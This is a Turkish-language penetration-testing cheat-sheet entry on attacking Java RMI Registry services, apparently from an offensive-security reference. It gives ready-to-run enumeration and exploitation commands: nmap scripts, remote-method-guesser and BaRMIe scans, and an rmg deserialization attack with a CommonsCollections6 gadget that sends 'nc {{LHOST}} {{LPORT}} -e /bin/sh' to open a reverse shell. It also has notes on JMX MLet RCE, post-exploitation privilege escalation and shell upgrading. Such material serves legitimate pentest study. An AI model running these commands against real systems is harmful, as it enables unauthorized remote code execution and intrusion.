Java RMI Registry
linuxJava RMI Registry (genelde 1099/TCP, bazen rastgele yuksek portta). remote-method-guesser (rmg) ve BaRMIe ile bound object enumerasyonu; bilinen kayitli servisler (jmx, spring) ve unsafe deserialization yoluyla RCE.
Komutlar
nmap -sV -Pn -p 1099 --script rmi-dumpregistry,rmi-vuln-classloader {{RHOST}} rmg enum {{RHOST}} {{RPORT}} rmg guess {{RHOST}} {{RPORT}} java -jar BaRMIe.jar -enum {{RHOST}} {{RPORT}} rmg serial {{RHOST}} {{RPORT}} CommonsCollections6 'nc {{LHOST}} {{LPORT}} -e /bin/sh' --bound-name jmxrmi java -jar BaRMIe.jar -attack {{RHOST}} {{RPORT}} Servis Hakkinda
Java RMI (Remote Method Invocation), Java nesnelerinin ag uzerinden uzaktan metot cagrilmasini saglar. RMI Registry (varsayilan 1099/TCP) bir isim-cozumleme servisidir: istemci registry’den bir bound name ister, registry istemciye o nesnenin gercekte dinledigi (cogu zaman rastgele yuksek) portu ve stub’ini doner. Bu yuzden RMI cogu zaman iki port kullanir: registry portu + activation/remote object portu.
Neden Tehlikeli
RMI cagrilari Java serialization kullanir. Sunucu, istemciden gelen serialized argumanlari guvensiz sekilde deserialize ederse, classpath’te uygun bir gadget chain (ysoserial: CommonsCollections, etc.) varsa RCE elde edilir. Ayrica zayif yapilandirilmis registry’lere rebind/bind ile sahte nesne enjekte edilebilir.
Enumeration
Once nmap ile servisi dogrula; rmi-dumpregistry script’i bound object’leri ve siniflarini listeler. Ardindan remote-method-guesser (rmg) ile enum action calistir: rmg bound name’leri, uzak metot imzalarini, JEP290 deserialization filtresinin acik olup olmadigini, codebase ayarlarini ve Activator/DGC/registry zayifliklarini topluca raporlar. BaRMIe ise daha eski/genis bir tarayicidir, -enum ile registry’leri tarar, -attack ile bilinen exploit’leri dener.
Bilinen Zafiyetler ve Sömuru
- Unsafe deserialization (registry/DGC/activation): rmg
serialaction ile bir ysoserial gadget’i hedef bir metoda gonderir. JEP290 filtresi yoksa veya bypass varsa RCE olur. - Method guessing: Uzak nesnenin bilinmeyen metotlarini rmg
guessile brute-force eder; ardindancallile parametre gondererek mevcut metotlari kotuye kullanabilirsin. - JMX uzerinden RCE: Eger bound name bir JMX/MBean server ise (
jmxrmi), kimlik dogrulamasiz MBean uzerinden MLet ile RCE klasik bir yoldur. - Codebase / known-method attacks: rmg
codebaseaction ile remote class loading kotuye kullanilabilir.
Pivot / Loot Notlari
RMI ile RCE genelde uygulama servis hesabi (orn. tomcat, ozel bir app kullanicisi) baglaminda shell verir; sonrasinda standart Linux privesc (sudo -l, SUID, cron) uygulanir. JMX’ten system properties ve uygulama config’leri credential icin okunmaya degerdir. Reverse shell aldiktan sonra python3 -c 'import pty...' ile TTY yukselt.